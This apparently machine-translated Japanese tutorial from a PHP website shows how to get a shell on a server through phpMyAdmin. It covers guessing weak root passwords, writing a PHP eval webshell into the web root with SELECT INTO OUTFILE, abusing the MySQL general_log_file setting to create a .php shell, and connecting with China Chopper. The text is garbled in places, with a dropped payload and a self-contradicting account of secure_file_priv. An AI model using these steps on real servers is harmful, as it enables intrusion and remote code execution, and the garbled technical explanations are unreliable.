以下は、phpmyadmin のチュートリアル コラムで、PhpMyAdmin のバックグラウンド getshell (ペネトレーション テスト) を紹介します。
#PhpMyAdmin の概要PhpMyAdmin は PHP に基づいており、Web ベースで構造化されています。 Web サイトホスト上の #MySQL データベース管理ツール を使用すると、管理者は Web インターフェイスを使用して MySQL データベースを管理できます。この Web インターフェイスは、特に大量のデータをインポートおよびエクスポートする場合に、複雑な SQL 構文を簡単に入力するためのより良い方法となります。
対象の情報を収集、検出した後、phpmyadmin ディレクトリが存在することが判明した場合 (http://ip:port/phpmyadmin/
を試してください)、脆弱なパスワード (、アカウントの root パスワード root
を直接試すことができます) を使用して管理背景を攻撃したり、ブルート フォース クラックしたりするなど、getshell にはさまざまな方法があります。
outfile にエクスポートするトロイの木馬
最も便利な方法は、
select @@basedir; を使用して直接確認することです (ただし、他の方法しか見つからず、見つからない場合もあります):
上記のフィードバックによると、MySQL の場所は
ディレクトリにあることがわかります。 Web サイトのパスを取得した後、トロイの木馬のアップロードを試みることができます。最も一般的に使用される方法は、
を通じて Web サイトのルート ディレクトリにトロイの木馬の文を直接書き込むことです。 #出力ファイル 'D:\soft\phpStudy\www\xxx.php' に '' を選択します;
しかし、新しいバージョンの mysql では、この文は正常に実行されませんでした。
Mysql の新機能
secure_file_priv は、ファイルの読み取りと書き込みに影響を与えます。このパラメータは、インポートとエクスポートを制限するために使用されます。
show global variables like '%secure%'; コマンドを使用して、このパラメータを表示できます。
secure_file_priv が NULL の場合、Mysql が NULL であることを意味します。は制限されていません。インポートとエクスポートは許可されているため、エラーが発生します。ステートメントを正常にエクスポートするには、Mysql フォルダー内の
my.ini ファイルを変更し、
secure_file_priv ="" を [mysqld]:
# に追加する必要があります。
##secure_file_priv
の値に特定の値がない場合は、mysqld のインポート/エクスポートに制限がなく、この時点でエクスポート コマンドを実行できることを意味します。
Mysql ログ ファイルの使用Mysql バージョン 5.0 以降ではログ ファイルが作成され、ログのグローバル変数を変更して getshell を実行することもできます。ただし、生成されたログに対する読み取りおよび書き込み権限も必要です。 (注: Linux での個人テストは、権限の問題により失敗しました)。まず、2 つの MySQL グローバル変数、
を紹介します。 general log
## 上記の設定では、全般がオンになっている場合、 実行された SQL ステートメントは、
WIN-30DFNC8L78A.log
ファイル に表示されます。
その後、general_log_file
の値が変更されると、それに応じて実行される SQL ステートメントが生成され、その後 getshell が生成されます。
これに応じて、xxx.php ファイルが生成されます。
xxx.php ファイルにトロイの木馬の文を書き込みます: SELECT ' php eval ($_POST["cmd"]);?>'
次に、ログ ファイルに記録されたトロイの木馬のステートメントを確認できます。
最後に、 China Chopper が接続、getshell :
以上がPhpMyAdmin バックグラウンド getshell (侵入テスト)の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。